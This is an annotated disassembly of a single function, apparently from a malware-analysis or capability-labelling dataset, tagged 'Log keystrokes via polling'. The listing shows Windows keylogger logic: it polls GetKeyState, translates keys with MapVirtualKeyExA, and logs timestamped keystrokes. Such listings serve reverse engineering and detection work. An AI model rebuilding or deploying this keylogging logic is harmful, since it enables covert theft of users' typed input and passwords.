Function at 0x40165a
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1d0], ecx
mov edx, 8
mov ecx, 0x10
call dbg.std::operator|(std::_Ios_Openmode, std::_Ios_Openmode)
mov edx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream_std::_Ios_Openmode_
mov qword [rbp + 0x1a0], 0
mov eax, dword [rbp + 0x1d0]
cmp eax, 0xbb
jne 0x4016ba
mov dword [0x0040c040], 0
mov dword [0x0040c044], 0
mov eax, dword [rbp + 0x1d0]
cmp eax, 0xbd
jne 0x4016d1
mov ecx, 0
call sym.exit
lea rcx, [0x0040c440]
call dbg.std::map<int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<int>, std::allocator<std::pair<int const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >::end() const
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [0x0040c440]
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.find_int_const
mov qword [rbp + 0x130], rax
lea rdx, [rbp + 0x128]
lea rax, [rbp + 0x130]
mov rcx, rax
call method.std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.operator__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_cha
test al, al
je 0x401743
lea rdx, [rbp + 0x1d0]
lea rcx, [0x0040c440]
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.at_int_const__
mov rdx, rax
lea rax, [rbp - 0x60]
add rax, 0x10
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x401821
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
mov byte [rbp + 0x1ae], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x4017a8
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x4017a8
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
je 0x4017af
mov eax, 1
jmp 0x4017b4
mov eax, 0
test al, al
je 0x4017bf
xor byte [rbp + 0x1ae], 1
mov eax, dword [rbp + 0x1d0]
mov ecx, eax
mov rax, qword [rbp + 0x1a0]
mov r8, rax
mov edx, 2
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyExA]
call rax
mov byte [rbp + 0x1af], al
movzx eax, byte [rbp + 0x1ae]
xor eax, 1
test al, al
je 0x40180b
movsx eax, byte [rbp + 0x1af]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
mov byte [rbp + 0x1af], al
movsx eax, byte [rbp + 0x1af]
lea rdx, [rbp - 0x60]
lea rcx, [rdx + 0x10]
mov edx, eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
call sym.std::chrono::_V2::system_clock::now__
mov qword [rbp + 0x148], rax
lea rax, [rbp + 0x148]
mov rcx, rax
call dbg.std::chrono::time_point<std::chrono::_V2::system_clock, std::chrono::duration<long long, std::ratio<1ll, 1000000000ll> > >::time_since_epoch() const
mov qword [rbp + 0x140], rax
lea rax, [rbp + 0x140]
mov rcx, rax
call sym._ZNSt6chrono13duration_castINS_8durationIxSt5ratioILx1ELx1000EEEExS2_ILx1ELx1000000000EEEENSt9enable_ifIXsrNS_13__is_durationI
mov qword [rbp + 0x138], rax
lea rax, [rbp + 0x138]
mov rcx, rax
call dbg.std::chrono::duration<long long, std::ratio<1ll, 1000ll> >::count() const
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
mov rdx, rax
lea rcx, [0x0040c080]
call sym.std::ostream::operator___unsigned_long_long_
lea rdx, [0x00409020]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
lea rax, [rbp + 0x150]
lea rdx, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x150]
mov rdx, rax
mov rcx, rbx
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [0x00409020]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [0x0040c040]
lea edx, [rax + 1]
mov dword [0x0040c040], edx
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, str._windows
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x004095d0]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [0x0040c080]
call sym.std::ostream::flush__
lea rax, [rbp + 0x170]
lea rdx, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x170]
mov rdx, rax
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream__
mov eax, ebx
jmp 0x4019ac
add rsp, 0x238
pop rbx
pop rbp
ret